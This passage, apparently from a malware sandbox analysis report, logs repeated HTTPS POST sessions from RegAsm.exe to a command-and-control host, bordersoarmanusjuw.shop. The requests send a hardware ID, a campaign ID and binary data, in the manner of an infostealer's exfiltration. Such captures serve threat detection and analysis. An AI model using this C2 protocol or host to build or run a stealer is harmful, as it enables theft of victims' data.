2024-04-21 13:31:23 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ubl6u7em0dqj597ci55n3ggqcf; expires=Thu, 15-Aug-2024 07:18:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Jw9Kpq9dhL74tf9KmKb%2F3x9OHj7joW5wmLmUoBDuDrhTDt5aIISMGlf3YK37s6hPLbtfMe6cYpHpIrPVoU%2FKsmOlzx2egzOIboVz21XyOF3ENH7T4xmtrMrrDvkaTA0hxOPHFebz0X0Hw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbef0e454569-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	172.67.189.66	443	5856	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:24 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:24 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:24 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=od7d0mbfh5paprd78ctqq6rtbs; expires=Thu, 15-Aug-2024 07:18:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G7VqHIiMTsd2w6zDEHLp3m3jVRV7MBX43hpExD82feKhDJdvLj8r93yA3okSAWsFr%2B3R0%2FNVoZfQAeILgjUYAjF3F68mT70i8zC7UkQSbtoWJRNAlWrwWKcmxNP4PevS3sNLrWAVZR4%2BWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbf37fd9674c-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	172.67.189.66	443	5900	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:24 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:24 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:24 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6fmf8sbvg7auv2gq73998cii67; expires=Thu, 15-Aug-2024 07:18:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1TCyfvn7sK0KBdhHzPlElq1yprM8NexhRLoyFbrEzhoNNd6Ezz3GaqqyG1F%2F5BKlLFq6fowPqT1g4TA97fIhf479xehPIYunJmy4aX6hmay%2F5AUsyjwqsZKO%2FxAzyNOP7yTbetVmor8K0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbf37c3a185f-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49754	172.67.189.66	443	1740	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:24 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:24 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:24 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-21 13:31:24 UTC	816	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bfnoiedas2u5brlotc1iamrpfl; expires=Thu, 15-Aug-2024 07:18:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xWxBESaRieKWv7%2BG4DW559yy8M1sulCqWXEFroAYrt1QH2d0JhTgyUsSrYCN6jow07FtXy7KsnFpfWJVCqUk8tv%2BNJV3hsbubyfQJ7yuXDxjaeDjw16CS%2F9sdaBhnm%2BX1j6Y9%2BzdtIFwNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbf3ff021d80-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49755	172.67.189.66	443	5856	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:24 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:24 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:24 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-21 13:31:25 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3eknab3mo9v6m5qq1kglariq8s; expires=Thu, 15-Aug-2024 07:18:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bCUwvDWs6qjlM%2BgPNR8g2lh%2FzDjg4aLMNuDPtVp5cimaMtfJwUE70%2FKgyebYaPdfMfVrInc8NOK8w5SToY1wr0fjCEElQ8qyJrQ5YCOG%2FLLkUBYTlA9QEe1EKZqW%2BCjm45BTpgx0me%2Bl7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbf8c80aad62-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49756	172.67.189.66	443	5900	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:24 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:24 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:24 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-21 13:31:25 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jjfrtn0j11o36fbucpvd217v2f; expires=Thu, 15-Aug-2024 07:18:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y1K5HHQfdnXe1wJiBZ6VkPi%2Fw6cJ%2BRBL5JIU0F0Uiy%2F7BBirm5dPaRPS0mudHQO7gQ2BUk%2BGpLVu3kuBH6QSEJ%2BIQ2RObtrw5uS%2BidnHrlql2xL35UhDmL9tCk7XIkzraK%2FrI3xHFtfrEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbf92938458f-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49757	172.67.189.66	443	1740	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:24 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7091 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:24 UTC	7091	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:25 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sri8qvr4hkk51l6nv1m0pgckgh; expires=Thu, 15-Aug-2024 07:18:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HNkgHSSTS5IUL%2F3%2FCeMFEDmJ5qLCXeqBJw%2B8ckq3NSqMjMgGkKXKv5Gq3Hu4lMRmY9uqj6S3tf15QpV0YFN3wgZXfn8FIjMjpeiEjG%2FHYW00UDKv%2BvXPto4SM5QiOC6ZUI%2BhQyoREv%2BqCg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbf97dffb0a0-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49758	172.67.189.66	443	1740	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:25 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1411 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:25 UTC	1411	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:26 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ojak7lidjo1v0127s7396gso4b; expires=Thu, 15-Aug-2024 07:18:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dT50sg%2BKQ7K985kNaz5toxjVUF0S6CgqIvQsEdrcOK7jExoCOLMw8aCJmdwAVHyDM1FZvH9rZ%2F5MplmOHuj6ToZkj5DP%2FFfalNg5%2BeHlFh%2BOT8GBDRo19EcxbQ%2F%2B5GAL26A3Oigvo5w5iw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbfd8dbfadc5-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49759	172.67.189.66	443	5856	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
